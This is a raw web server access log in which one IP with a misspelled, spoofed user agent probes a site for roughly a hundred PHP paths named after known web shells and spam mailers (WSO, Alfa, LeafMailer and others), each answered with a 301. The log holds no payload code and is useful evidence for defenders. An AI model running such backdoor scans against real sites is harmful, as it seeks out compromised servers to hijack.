"-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:39 -0400] "GET /7yn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:43 -0400] "GET /haxor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:45 -0400] "GET /13.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:47 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:49 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:52 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:08:57 -0400] "GET /y.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:00 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:04 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:08 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:12 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:16 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:20 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:24 -0400] "GET /h.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:27 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:31 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:33 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:36 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:38 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:41 -0400] "GET /kindex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:43 -0400] "GET /FoxWSOv1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:46 -0400] "GET /alf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:49 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:51 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:53 -0400] "GET /WSO.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:55 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:09:58 -0400] "GET /hello.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:00 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:05 -0400] "GET /if.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:08 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:11 -0400] "GET /mrjn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:16 -0400] "GET /kn.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:20 -0400] "GET /3301.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:23 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:26 -0400] "GET /alex.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:31 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:35 -0400] "GET /anone.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:40 -0400] "GET /wp-configer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:44 -0400] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:48 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:53 -0400] "GET /3.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:10:56 -0400] "GET /.wp-cache.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:01 -0400] "GET /sendmail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 212.34.140.200 - - [25/Apr/2025:22:11:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:07 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:13 -0400] "GET /nasgor.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:22 -0400] "GET /wp-confirm.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:28 -0400] "GET /alfa123.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:35 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:40 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:45 -0400] "GET /wp-one.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:49 -0400] "GET /alexus.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:53 -0400] "GET /wso1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:56 -0400] "GET /1337.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:11:59 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:02 -0400] "GET /it.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:06 -0400] "GET /kiss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:10 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:12 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:15 -0400] "GET /owl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:17 -0400] "GET /vuln.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:19 -0400] "GET /ohayo.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:22 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:24 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:27 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:30 -0400] "GET /Gel.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:33 -0400] "GET /41.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:36 -0400] "GET /4price.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:40 -0400] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:43 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:46 -0400] "GET /.fk.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:48 -0400] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:51 -0400] "GET /alexuse.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:54 -0400] "GET /Sendemail.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:12:57 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:01 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:07 -0400] "GET /olu.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:13 -0400] "GET /alexusmailer%202.0.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:17 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:20 -0400] "GET /alexus-mailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:23 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:26 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:28 -0400] "GET /wso1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:32 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:34 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:36 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:38 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:42 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:45 -0400] "GET /uploader.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:49 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:52 -0400] "GET /ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:54 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:13:58 -0400] "GET /tmp_images/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:00 -0400] "GET /wp-admin/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 51.195.129.164 - - [25/Apr/2025:22:14:03 -0400] "GET /wp-content/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 